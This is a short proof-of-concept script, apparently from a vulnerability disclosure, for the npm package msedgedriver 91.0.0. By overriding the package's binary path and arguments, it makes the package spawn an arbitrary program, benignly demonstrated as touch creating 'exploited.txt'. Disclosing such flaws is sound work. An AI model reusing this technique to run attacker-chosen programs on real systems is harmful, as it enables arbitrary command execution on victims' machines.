Package msedgedriver: it is possible to manipulate the binary and arguments passed to spawn by changing 'msedgedriver.path' and configuring 'args'.

msedgedriver-91.0.0_poc.js

'use strict'

const pkg = require('msedgedriver');

pkg.path = '/usr/bin/touch';

const args = ['exploited.txt'];
const returnPromise = false;

// This will create a local 'exploited.txt' file.
pkg.start(args, returnPromise)